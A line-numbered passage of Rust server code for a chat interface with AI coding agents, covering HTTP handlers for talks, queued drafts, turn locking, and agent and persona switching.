6972fn extension(name: &str) -> Option<String> {
6974 name.rsplit_once('.')
6975 .map(|(_, ext)| ext.to_ascii_lowercase())
6976}
6977
6978fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6995 let mut res = (
6996 [
6997 (header::CONTENT_TYPE, content_type),
6998 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6999 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7000 (header::REFERRER_POLICY, "no-referrer"),
7001 ],
7002 body,
7003 )
7004 .into_response();
7005 if download {
7006 res.headers_mut().insert(
7007 header::CONTENT_DISPOSITION,
7008 HeaderValue::from_static("attachment"),
7009 );
7010 }
7011 res
7012}
7013
7014#[derive(Debug, Serialize)]
7020struct TalkView {
7021 #[serde(flatten)]
7022 talk: Talk,
7023 turn_bodies_md: Vec<Vec<md::Node>>,
7024 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
7026 pending_messages_md: Vec<Option<Vec<md::Node>>>,
7027 thinking: bool,
7035 context: talk::ContextUsage,
7039 operator_name: Option<String>,
7042 persona_name: Option<String>,
7044 persona_avatar: String,
7047 operator_avatar: String,
7049 magi_avatar: String,
7050}
7051
7052impl TalkView {
7053 fn new(talk: Talk, thinking: bool, home: &FsPath) -> Self {
7056 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7057 Self::with_config(talk, thinking, cfg.as_ref(), home)
7058 }
7059
7060 fn with_config(mut talk: Talk, thinking: bool, cfg: Option<&Config>, home: &FsPath) -> Self {
7063 let snapshot = talk.clone();
7065 for (index, turn) in talk.turns.iter_mut().enumerate() {
7066 let original = &snapshot.turns[index];
7067 if turn.messages.is_empty() {
7068 if let Some(display) = talk::notice_display(&snapshot, original, None) {
7069 turn.messages.push(talk::Message {
7070 sender: Some(talk::Sender::Magi),
7071 body: original.body.clone(),
7072 display: Some(display),
7073 attachments: original.attachments.clone(),
7074 reply: None,
7075 });
7076 }
7077 } else {
7078 for (i, message) in turn.messages.iter_mut().enumerate() {
7079 message.display =
7080 talk::notice_display(&snapshot, original, original.messages.get(i));
7081 if message.display.is_some() {
7082 message.sender = Some(talk::Sender::Magi);
7083 }
7084 }
7085 }
7086 }
7087 for message in &mut talk.pending_messages {
7088 if message.display.is_none()
7089 && (message.sender == Some(talk::Sender::Magi)
7090 || snapshot
7091 .completion_notices
7092 .iter()
7093 .any(|r| r.notice == message.body))
7094 {
7095 message.display = crate::prompt::legacy_notice_display(&message.body);
7096 if message.display.is_some() {
7097 message.sender = Some(talk::Sender::Magi);
7098 }
7099 }
7100 }
7101 if talk.pending_messages.is_empty()
7102 && snapshot
7103 .completion_notices
7104 .iter()
7105 .any(|r| r.notice == talk.pending)
7106 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
7107 {
7108 talk.pending_messages.push(talk::Message {
7109 sender: Some(talk::Sender::Magi),
7110 display: Some(display),
7111 body: talk.pending.clone(),
7112 attachments: talk.pending_attachments.clone(),
7113 reply: None,
7114 });
7115 }
7116 let excerpts: Vec<Vec<Option<String>>> = talk
7117 .turns
7118 .iter()
7119 .map(|turn| {
7120 turn.messages
7121 .iter()
7122 .map(|m| {
7123 m.display
7124 .as_ref()
7125 .map(|d| d.facts.chars().take(240).collect())
7126 })
7127 .collect()
7128 })
7129 .collect();
7130 for turn in &mut talk.turns {
7131 let provenance = talk::sender(turn, None);
7132 turn.sender = Some(provenance);
7133 for message in &mut turn.messages {
7134 message.sender = Some(message.sender.unwrap_or(provenance));
7135 }
7136 }
7137 let senders: Vec<Vec<talk::Sender>> = talk
7139 .turns
7140 .iter()
7141 .map(|turn| {
7142 if turn.messages.is_empty() {
7143 vec![talk::sender(turn, None)]
7144 } else {
7145 turn.messages
7146 .iter()
7147 .map(|m| talk::sender(turn, Some(m)))
7148 .collect()
7149 }
7150 })
7151 .collect();
7152 for reply in talk
7153 .turns
7154 .iter_mut()
7155 .flat_map(|t| t.messages.iter_mut())
7156 .chain(talk.pending_messages.iter_mut())
7157 .filter_map(|m| m.reply.as_mut())
7158 {
7159 if let Some(Some(excerpt)) = excerpts
7160 .get(reply.target.turn)
7161 .and_then(|ms| ms.get(reply.target.message))
7162 {
7163 reply.excerpt = excerpt.clone();
7164 reply.sender = Some(talk::Sender::Magi);
7165 }
7166 if reply.sender.is_none() {
7167 reply.sender = senders
7168 .get(reply.target.turn)
7169 .and_then(|messages| messages.get(reply.target.message))
7170 .copied();
7171 }
7172 }
7173 let context = talk::context_usage(&talk, cfg);
7174 let turn_bodies_md = talk
7175 .turns
7176 .iter()
7177 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
7178 .collect();
7179 let turn_messages_md = talk
7180 .turns
7181 .iter()
7182 .map(|turn| {
7183 if turn.messages.is_empty() {
7184 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
7185 } else {
7186 turn.messages
7187 .iter()
7188 .map(|message| {
7189 notice_markdown(
7190 message.sender.unwrap_or(talk::Sender::Operator),
7191 &message.body,
7192 message.display.as_ref(),
7193 )
7194 })
7195 .collect()
7196 }
7197 })
7198 .collect();
7199 let pending_messages_md = talk
7200 .pending_messages
7201 .iter()
7202 .map(|message| {
7203 notice_markdown(
7204 message.sender.unwrap_or(talk::Sender::Operator),
7205 &message.body,
7206 message.display.as_ref(),
7207 )
7208 })
7209 .collect();
7210 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
7211 let persona_name = persona::find(specs, &talk.persona)
7212 .filter(|p| !p.is_default())
7213 .map(|p| p.name);
7214 let persona_avatar = avatar_url(
7215 &talk.id,
7216 &persona::find(specs, &talk.persona)
7217 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
7218 );
7219 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
7220 Self {
7221 turn_bodies_md,
7222 turn_messages_md,
7223 pending_messages_md,
7224 thinking,
7225 context,
7226 operator_name,
7227 persona_name,
7228 persona_avatar,
7229 magi_avatar: magi_icon_url(home),
7230 operator_avatar: format!(
7231 "/avatars/operator.svg?v={}",
7232 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
7233 ),
7234 talk,
7235 }
7236 }
7237}
7238
7239fn notice_markdown(
7241 sender: talk::Sender,
7242 body: &str,
7243 display: Option<&crate::prompt::NoticeDisplay>,
7244) -> Option<Vec<md::Node>> {
7245 if sender != talk::Sender::Magi {
7246 return None;
7247 }
7248 let text = if let Some(display) = display {
7249 display.facts.as_str()
7250 } else {
7251 if crate::prompt::is_completion_notice(body)
7254 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
7255 {
7256 return None;
7257 }
7258 body.strip_prefix("magi: ").unwrap_or(body)
7259 };
7260 Some(md::to_nodes(text, &md::ImageBase::None))
7261}
7262
7263#[derive(Debug, Serialize)]
7268struct TalkDetailView {
7269 #[serde(flatten)]
7270 view: TalkView,
7271 tasks: Vec<TaskView>,
7272 roster: Vec<RosterEntry>,
7275 personas: Vec<PersonaEntry>,
7278}
7279
7280#[derive(Debug, Serialize)]
7282struct PersonaEntry {
7283 id: String,
7284 name: String,
7285 avatar: String,
7287}
7288
7289#[derive(Debug, Serialize)]
7291struct RosterEntry {
7292 id: String,
7293 kind: AgentKind,
7294 runnable: bool,
7296}
7297
7298async fn talks_list(
7303 State(ui): State<Arc<Ui>>,
7304 Query(q): Query<ListQuery>,
7305) -> ApiResult<Json<Vec<TalkView>>> {
7306 blocking(move || {
7307 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
7308 Ok(Json(
7309 ui.talks
7310 .list()
7311 .into_iter()
7312 .filter(|talk| q.contains(&talk.id))
7313 .map(|talk| {
7314 let thinking = ui.is_thinking(&talk.id);
7315 let cfg = configs
7316 .entry(talk.repo.clone())
7317 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
7318 TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home)
7319 })
7320 .collect(),
7321 ))
7322 })
7323 .await
7324}
7325
7326#[derive(Debug, Default, Deserialize)]
7331#[serde(default)]
7332struct NewTalk {
7333 agent: Option<String>,
7334 repo: Option<PathBuf>,
7335 preferred_agent: Option<serde_json::Value>,
7339 persona: Option<serde_json::Value>,
7340 implementers: Option<serde_json::Value>,
7341}
7342
7343async fn talk_post(
7346 State(ui): State<Arc<Ui>>,
7347 body: std::result::Result<Json<NewTalk>, JsonRejection>,
7348) -> ApiResult<impl IntoResponse> {
7349 let body = match body {
7353 Ok(Json(body)) => body,
7354 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
7355 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7356 };
7357 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
7358 let cfg = config_for(&repo).await?;
7359 let view = blocking(move || {
7360 let preferred = talk::Preferred {
7361 agent: body
7362 .preferred_agent
7363 .as_ref()
7364 .and_then(|v| v.as_str())
7365 .map(str::to_owned),
7366 persona: body
7367 .persona
7368 .as_ref()
7369 .and_then(|v| v.as_str())
7370 .map(str::to_owned),
7371 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
7372 };
7373 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
7374 let thinking = ui.is_thinking(&talk.id);
7375 Ok(TalkView::new(talk, thinking, &ui.home))
7376 })
7377 .await?;
7378 Ok((StatusCode::CREATED, Json(view)))
7379}
7380
7381async fn talk_detail(
7383 State(ui): State<Arc<Ui>>,
7384 Path(id): Path<String>,
7385) -> ApiResult<Json<TalkDetailView>> {
7386 blocking(move || {
7387 let id = resolve_talk(&ui.talks, &id)?;
7388 let talk = ui.talks.get(&id)?;
7389 let thinking = ui.is_thinking(&talk.id);
7390 let tasks = talk::tasks_of(&ui.queue, &talk.id)
7391 .into_iter()
7392 .map(TaskView::from)
7393 .collect();
7394 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7395 let roster = cfg
7396 .as_ref()
7397 .map(|cfg| {
7398 cfg.agents
7399 .iter()
7400 .map(|a| RosterEntry {
7401 id: a.id.clone(),
7402 kind: a.kind,
7403 runnable: agent::installed(a),
7404 })
7405 .collect()
7406 })
7407 .unwrap_or_default();
7408 let specs = cfg
7409 .as_ref()
7410 .map(|cfg| cfg.talk.personas.clone())
7411 .unwrap_or_default();
7412 let personas = persona::catalog(&specs)
7413 .into_iter()
7414 .map(|p| PersonaEntry {
7415 avatar: avatar_url(&talk.id, &p),
7416 id: p.id,
7417 name: p.name,
7418 })
7419 .collect();
7420 Ok(Json(TalkDetailView {
7421 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home),
7422 tasks,
7423 roster,
7424 personas,
7425 }))
7426 })
7427 .await
7428}
7429
7430#[derive(Debug, Default, Deserialize)]
7436#[serde(default, deny_unknown_fields)]
7437struct NewTalkTurn {
7438 reply_to: Option<talk::ReplyTarget>,
7439 text: String,
7440 attachments: Vec<String>,
7441}
7442
7443#[derive(Debug, Deserialize)]
7444#[serde(deny_unknown_fields)]
7445struct EditTalkPending {
7446 #[serde(default)]
7447 message: Option<usize>,
7448 text: String,
7449 expected_text: String,
7450 expected_attachments: Vec<String>,
7451}
7452
7453#[derive(Debug, Deserialize)]
7454#[serde(deny_unknown_fields)]
7455struct ClearTalkPending {
7456 expected_text: String,
7457 expected_attachments: Vec<String>,
7458}
7459
7460async fn talk_say(
7472 State(ui): State<Arc<Ui>>,
7473 Path(id): Path<String>,
7474 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
7475) -> ApiResult<(StatusCode, Json<TalkView>)> {
7476 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7477 if body.text.trim().is_empty() && body.attachments.is_empty() {
7478 return Err(ApiError::bad_request("say something"));
7479 }
7480
7481 let id = {
7482 let ui = Arc::clone(&ui);
7483 let asked = id.clone();
7484 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7485 };
7486 {
7490 let ui = Arc::clone(&ui);
7491 let id = id.clone();
7492 blocking(move || {
7493 let talk = ui.talks.get(&id)?;
7494 if !talk.status.open() {
7495 return Err(ApiError::conflict(format!(
7496 "talk {} is {} and takes no more turns",
7497 talk.short(),
7498 talk.status.as_str()
7499 )));
7500 }
7501 Ok(())
7502 })
7503 .await?;
7504 }
7505
7506 let attachments = {
7511 let ui = Arc::clone(&ui);
7512 let id = id.clone();
7513 let ids = body.attachments.clone();
7514 blocking(move || {
7515 ids.into_iter()
7516 .map(|att_id| {
7517 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
7518 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
7519 })
7520 })
7521 .collect::<ApiResult<Vec<talk::Attachment>>>()
7522 })
7523 .await?
7524 };
7525
7526 let start = {
7531 let ui = Arc::clone(&ui);
7532 let id = id.clone();
7533 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
7534 };
7535 let turn_guard = match start {
7536 TalkTurnStart::Claimed(turn_guard) => turn_guard,
7537 TalkTurnStart::Pending => {
7538 return Err(ApiError::conflict(
7539 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
7540 ));
7541 }
7542 TalkTurnStart::Foreign => {
7543 return Err(ApiError::conflict(
7544 "a turn is already running in another process; try again when it has finished",
7545 ));
7546 }
7547 TalkTurnStart::Busy => {
7548 let (tx, rx) = tokio::sync::oneshot::channel();
7564 tokio::spawn({
7565 let ui = Arc::clone(&ui);
7566 let id = id.clone();
7567 let said = body.text.clone();
7568 let reply_to = body.reply_to.clone();
7569 async move {
7570 let written = blocking({
7571 let ui = Arc::clone(&ui);
7572 let id = id.clone();
7573 move || {
7574 let mut talk = ui.talks.get(&id)?;
7575 #[cfg(test)]
7580 if let Some(gate) = ui
7581 .busy_queue_gate
7582 .lock()
7583 .unwrap_or_else(PoisonError::into_inner)
7584 .take()
7585 {
7586 let _ = gate.reached.send(());
7587 let _ = gate.release.recv();
7588 }
7589 if let Err(error) = talk::queue_reply(
7590 &mut talk,
7591 &ui.talks,
7592 &said,
7593 attachments,
7594 reply_to,
7595 ) {
7596 if let Ok(fresh) = ui.talks.get(&id) {
7597 if !fresh.status.open() {
7598 return Err(ApiError::conflict(format!(
7599 "talk {} is {} and takes no more turns",
7600 fresh.short(),
7601 fresh.status.as_str()
7602 )));
7603 }
7604 }
7605 return Err(
7606 if error.to_string().contains("invalid reply target") {
7607 ApiError::bad_request("invalid reply target")
7608 } else {
7609 ApiError::from(error)
7610 },
7611 );
7612 }
7613 let claim = match ui.begin_queued_talk_turn(&id)? {
7624 Some(turn_guard) => {
7625 let (cfg, _) = Config::discover(&talk.repo, None)?;
7626 Some((talk.clone(), cfg, turn_guard))
7627 }
7628 None => None,
7629 };
7630 let thinking = ui.is_thinking(&id);
7631 Ok((TalkView::new(talk, thinking, &ui.home), claim))
7632 }
7633 })
7634 .await;
7635 let (view, reclaimed) = match written {
7636 Ok(pair) => pair,
7637 Err(e) => {
7638 let _ = tx.send(Err(e));
7643 return;
7644 }
7645 };
7646 let _ = tx.send(Ok(view));
7649 if let Some((talk, cfg, turn_guard)) = reclaimed {
7650 let talks = ui.talks.clone();
7651 drain_loop(talk, talks, cfg, id, turn_guard).await;
7652 }
7653 }
7654 });
7655 let view = rx
7656 .await
7657 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7658 return Ok((StatusCode::ACCEPTED, Json(view)));
7659 }
7660 };
7661
7662 let (talk, cfg) = {
7663 let ui = Arc::clone(&ui);
7664 let id = id.clone();
7665 blocking(move || {
7666 let talk = ui.talks.get(&id)?;
7667 let (cfg, _) = Config::discover(&talk.repo, None)?;
7668 Ok((talk, cfg))
7669 })
7670 .await?
7671 };
7672
7673 let talks = ui.talks.clone();
7674 let (tx, rx) = tokio::sync::oneshot::channel();
7689 tokio::spawn({
7690 let ui = Arc::clone(&ui);
7691 let talks = talks.clone();
7692 let id = id.clone();
7693 let said = body.text.clone();
7694 let reply_to = body.reply_to.clone();
7695 let mut talk = talk.clone();
7696 async move {
7697 let recorded = blocking({
7698 let talks = talks.clone();
7699 move || {
7700 if let Err(error) =
7701 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
7702 {
7703 if let Ok(fresh) = talks.get(&talk.id) {
7704 if !fresh.status.open() {
7705 return Err(ApiError::conflict(format!(
7706 "talk {} is {} and takes no more turns",
7707 fresh.short(),
7708 fresh.status.as_str()
7709 )));
7710 }
7711 }
7712 return Err(if error.to_string().contains("invalid reply target") {
7713 ApiError::bad_request("invalid reply target")
7714 } else {
7715 ApiError::from(error)
7716 });
7717 }
7718 Ok((said.trim().to_owned(), talk))
7724 }
7725 })
7726 .await;
7727 let (text, mut talk) = match recorded {
7728 Ok(pair) => pair,
7729 Err(e) => {
7730 let _ = tx.send(Err(e));
7734 return;
7735 }
7736 };
7737 let queued = talk.clone();
7738 let thinking = ui.is_thinking(&id);
7739 let _ = tx.send(Ok((queued, thinking)));
7742
7743 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7744 tracing::warn!("talk {id} turn failed: {e:#}");
7748 }
7749 drain_loop(talk, talks, cfg, id, turn_guard).await;
7752 }
7753 });
7754
7755 let (queued, thinking) = rx
7756 .await
7757 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7758
7759 Ok((
7761 StatusCode::ACCEPTED,
7762 Json(TalkView::new(queued, thinking, &ui.home)),
7763 ))
7764}
7765
7766async fn talk_pending_resume(
7770 State(ui): State<Arc<Ui>>,
7771 Path(id): Path<String>,
7772) -> ApiResult<(StatusCode, Json<TalkView>)> {
7773 let id = {
7774 let ui = Arc::clone(&ui);
7775 let asked = id.clone();
7776 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7777 };
7778 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7779 return Err(ApiError::conflict(
7780 "a talk turn is already running; the queued draft will be handled by it",
7781 ));
7782 };
7783 let (talk, cfg) = {
7784 let ui = Arc::clone(&ui);
7785 let id = id.clone();
7786 blocking(move || {
7787 let talk = ui.talks.get(&id)?;
7788 if !talk.status.open() {
7789 return Err(ApiError::conflict(format!(
7790 "talk {} is {} and takes no more turns",
7791 talk.short(),
7792 talk.status.as_str()
7793 )));
7794 }
7795 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7796 return Err(ApiError::conflict("there is no queued draft to resume"));
7797 }
7798 let (cfg, _) = Config::discover(&talk.repo, None)?;
7799 Ok((talk, cfg))
7800 })
7801 .await?
7802 };
7803 let view = TalkView::new(talk.clone(), true, &ui.home);
7804 let talks = ui.talks.clone();
7805 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7806 Ok((StatusCode::ACCEPTED, Json(view)))
7807}
7808
7809async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
7825 drain_loop_started(talk, talks, cfg, id, turn, None).await;
7826}
7827
7828async fn settle_settings_turn(
7832 talk: Talk,
7833 talks: Talks,
7834 cfg: Config,
7835 id: String,
7836 turn: TalkTurnGuard,
7837 observed: u64,
7838) -> bool {
7839 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7840 let turns = Arc::clone(&turn.turns);
7841 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
7842 if live.queued.get(&id).copied().unwrap_or(0) == observed {
7843 turn.release(&mut live);
7845 return false;
7846 }
7847 }
7848 let (started, settled) = tokio::sync::oneshot::channel();
7849 tokio::spawn(drain_loop_started(
7850 talk,
7851 talks,
7852 cfg,
7853 id,
7854 turn,
7855 Some(started),
7856 ));
7857 settled.await.unwrap_or(false)
7858}
7859
7860async fn drain_loop_started(
7861 mut talk: Talk,
7862 talks: Talks,
7863 cfg: Config,
7864 id: String,
7865 turn: TalkTurnGuard,
7866 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
7867) {
7868 let live_set = Arc::clone(&turn.turns);
7869 let mut turn = Some(turn);
7877 loop {
7878 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
7879 tracing::warn!("talk {id} lost its turn lease; not draining further");
7882 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7883 if let Some(turn) = turn.take() {
7884 turn.release(&mut live);
7885 }
7886 break;
7887 }
7888 {
7889 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7892 if live.parking {
7893 if let Some(turn) = turn.take() {
7894 turn.release(&mut live);
7895 }
7896 break;
7897 }
7898 }
7899 let observed = live_set
7903 .lock()
7904 .unwrap_or_else(PoisonError::into_inner)
7905 .queued
7906 .get(&id)
7907 .copied()
7908 .unwrap_or(0);
7909 let drained = blocking({
7910 let talks = talks.clone();
7911 let live_set = Arc::clone(&live_set);
7912 move || {
7913 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7918 let result = if live.parking {
7919 Ok(None)
7920 } else {
7921 talk::drain(&mut talk, &talks)
7922 };
7923 drop(live);
7924 Ok((talk, result))
7925 }
7926 })
7927 .await;
7928 let (next_talk, result) = match drained {
7929 Ok(drained) => drained,
7930 Err(e) => {
7931 tracing::warn!(
7932 status = %e.status,
7933 message = %e.message,
7934 "talk {id} could not start queued-text drain"
7935 );
7936 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7937 turn.take()
7938 .expect("held for the whole loop until released here")
7939 .release(&mut live);
7940 break;
7941 }
7942 };
7943 talk = next_talk;
7944 let drained = match result {
7945 Ok(Some(drained)) => drained,
7946 Ok(None) => {
7947 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7948 if live.queued.get(&id).copied().unwrap_or(0) != observed {
7949 continue;
7950 }
7951 turn.take()
7952 .expect("held for the whole loop until released here")
7953 .release(&mut live);
7954 break;
7955 }
7956 Err(e) => {
7957 tracing::warn!("talk {id} could not drain queued text: {e:#}");
7958 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7959 turn.take()
7960 .expect("held for the whole loop until released here")
7961 .release(&mut live);
7962 break;
7963 }
7964 };
7965 if let Some(started) = started.take() {
7966 let _ = started.send(true);
7967 }
7968 let responded = match turn.as_ref() {
7969 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7970 None => Err(anyhow::anyhow!("the turn guard was released")),
7971 };
7972 if let Err(e) = responded {
7973 tracing::warn!("talk {id} turn failed: {e:#}");
7974 }
7975 }
7976 drop(turn);
7977 if let Some(started) = started {
7978 let _ = started.send(false);
7979 }
7980}
7981
7982async fn talk_pending_clear(
7984 State(ui): State<Arc<Ui>>,
7985 Path(id): Path<String>,
7986 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7987) -> ApiResult<Json<TalkView>> {
7988 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7989 blocking(move || {
7990 let id = resolve_talk(&ui.talks, &id)?;
7991 let mut talk = ui.talks.get(&id)?;
7992 if !talk.status.open() {
7993 return Err(ApiError::conflict(format!(
7994 "talk {} is {} and takes no more turns",
7995 talk.short(),
7996 talk.status.as_str()
7997 )));
7998 }
7999 if !talk::clear_pending_if_matches(
8000 &mut talk,
8001 &ui.talks,
8002 &body.expected_text,
8003 &body.expected_attachments,
8004 )? {
8005 return Err(ApiError::conflict(
8006 "queued message changed; reload it before clearing",
8007 ));
8008 }
8009 let thinking = ui.is_thinking(&talk.id);
8010 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8011 })
8012 .await
8013}
8014
8015async fn talk_pending_edit(
8019 State(ui): State<Arc<Ui>>,
8020 Path(id): Path<String>,
8021 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
8022) -> ApiResult<Json<TalkView>> {
8023 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8024 let (view, reclaimed) = blocking({
8025 let ui = Arc::clone(&ui);
8026 move || {
8027 let id = resolve_talk(&ui.talks, &id)?;
8028 let mut talk = ui.talks.get(&id)?;
8029 if !talk.status.open() {
8030 return Err(ApiError::conflict(format!(
8031 "talk {} is {} and takes no more turns",
8032 talk.short(),
8033 talk.status.as_str()
8034 )));
8035 }
8036 if !talk::edit_pending_message(
8037 &mut talk,
8038 &ui.talks,
8039 &body.text,
8040 &body.expected_text,
8041 &body.expected_attachments,
8042 body.message,
8043 )? {
8044 return Err(ApiError::conflict(
8045 "queued message changed; reload it before editing",
8046 ));
8047 }
8048 let claim = match ui.begin_queued_talk_turn(&id)? {
8049 Some(turn_guard) => {
8050 let (cfg, _) = Config::discover(&talk.repo, None)?;
8051 Some((talk.clone(), cfg, id.clone(), turn_guard))
8052 }
8053 None => None,
8054 };
8055 let thinking = ui.is_thinking(&id);
8056 Ok((TalkView::new(talk, thinking, &ui.home), claim))
8057 }
8058 })
8059 .await?;
8060 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
8061 let talks = ui.talks.clone();
8062 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8063 }
8064 Ok(Json(view))
8065}
8066
8067fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
8069 if talk.status.open() {
8070 return Ok(());
8071 }
8072 Err(ApiError::conflict(format!(
8073 "talk {} is {} and takes no more turns",
8074 talk.short(),
8075 talk.status.as_str()
8076 )))
8077}
8078
8079#[derive(Debug, Deserialize)]
8081struct TalkAgent {
8082 agent: String,
8083}
8084
8085async fn talk_agent(
8090 State(ui): State<Arc<Ui>>,
8091 Path(id): Path<String>,
8092 Json(body): Json<TalkAgent>,
8093) -> ApiResult<Json<TalkView>> {
8094 let id = {
8095 let ui = Arc::clone(&ui);
8096 blocking(move || resolve_talk(&ui.talks, &id)).await?
8097 };
8098 let repo = {
8099 let ui = Arc::clone(&ui);
8100 let id = id.clone();
8101 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8102 };
8103 let cfg = config_for(&repo).await?;
8104 {
8106 let ui = Arc::clone(&ui);
8107 let id = id.clone();
8108 let cfg = cfg.clone();
8109 let wanted = body.agent.clone();
8110 blocking(move || {
8111 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
8112 .map_err(ApiError::bad_request_from)?;
8113 refuse_if_closed(&ui.talks.get(&id)?)
8114 })
8115 .await?;
8116 }
8117 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8118 return Err(ApiError::conflict(
8119 "a talk turn is running; change the agent once it has answered",
8120 ));
8121 };
8122 let switched = {
8123 let ui = Arc::clone(&ui);
8124 let id = id.clone();
8125 let cfg = cfg.clone();
8126 blocking(move || {
8127 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
8128 .map_err(ApiError::bad_request_from)?;
8129 let mut talk = ui.talks.get(&id)?;
8130 if !talk.status.open() {
8131 return Err(ApiError::conflict(format!(
8132 "talk {} is {} and takes no more turns",
8133 talk.short(),
8134 talk.status.as_str()
8135 )));
8136 }
8137 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
8138 Ok(talk)
8139 })
8140 .await
8141 };
8142 let observed = ui.queued_generation(&id);
8147 let fresh = {
8148 let ui = Arc::clone(&ui);
8149 let id = id.clone();
8150 blocking(move || Ok(ui.talks.get(&id)?)).await
8151 };
8152 let draining = match fresh {
8153 Ok(talk) => {
8154 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8155 }
8156 Err(_) => false,
8157 };
8158 let talk = switched?;
8159 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8160}
8161
8162#[derive(Debug, Deserialize)]
8164struct TalkPersona {
8165 persona: String,
8166}
8167
8168async fn talk_persona(
8172 State(ui): State<Arc<Ui>>,
8173 Path(id): Path<String>,
8174 Json(body): Json<TalkPersona>,
8175) -> ApiResult<Json<TalkView>> {
8176 let id = {
8177 let ui = Arc::clone(&ui);
8178 blocking(move || resolve_talk(&ui.talks, &id)).await?
8179 };
8180 let repo = {
8181 let ui = Arc::clone(&ui);
8182 let id = id.clone();
8183 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8184 };
8185 let cfg = config_for(&repo).await?;
8186 {
8188 let ui = Arc::clone(&ui);
8189 let id = id.clone();
8190 let cfg = cfg.clone();
8191 let wanted = body.persona.clone();
8192 blocking(move || {
8193 if persona::find(&cfg.talk.personas, &wanted).is_none() {
8194 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
8195 }
8196 refuse_if_closed(&ui.talks.get(&id)?)
8197 })
8198 .await?;
8199 }
8200 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8201 return Err(ApiError::conflict(
8202 "a talk turn is running; change the persona once it has answered",
8203 ));
8204 };
8205 let switched = {
8206 let ui = Arc::clone(&ui);
8207 let id = id.clone();
8208 let cfg = cfg.clone();
8209 blocking(move || {
8210 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
8211 return Err(ApiError::bad_request(format!(
8212 "unknown persona `{}`",
8213 body.persona
8214 )));
8215 };
8216 let mut talk = ui.talks.get(&id)?;
8217 if !talk.status.open() {
8218 return Err(ApiError::conflict(format!(
8219 "talk {} is {} and takes no more turns",
8220 talk.short(),
8221 talk.status.as_str()
8222 )));
8223 }
8224 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
8225 Ok(talk)
8226 })
8227 .await
8228 };
8229 let observed = ui.queued_generation(&id);
8231 let fresh = {
8232 let ui = Arc::clone(&ui);
8233 let id = id.clone();
8234 blocking(move || Ok(ui.talks.get(&id)?)).await
8235 };
8236 let draining = match fresh {
8237 Ok(talk) => {
8238 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8239 }
8240 Err(_) => false,
8241 };
8242 let talk = switched?;
8243 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8244}
8245
8246#[derive(Debug, Deserialize)]
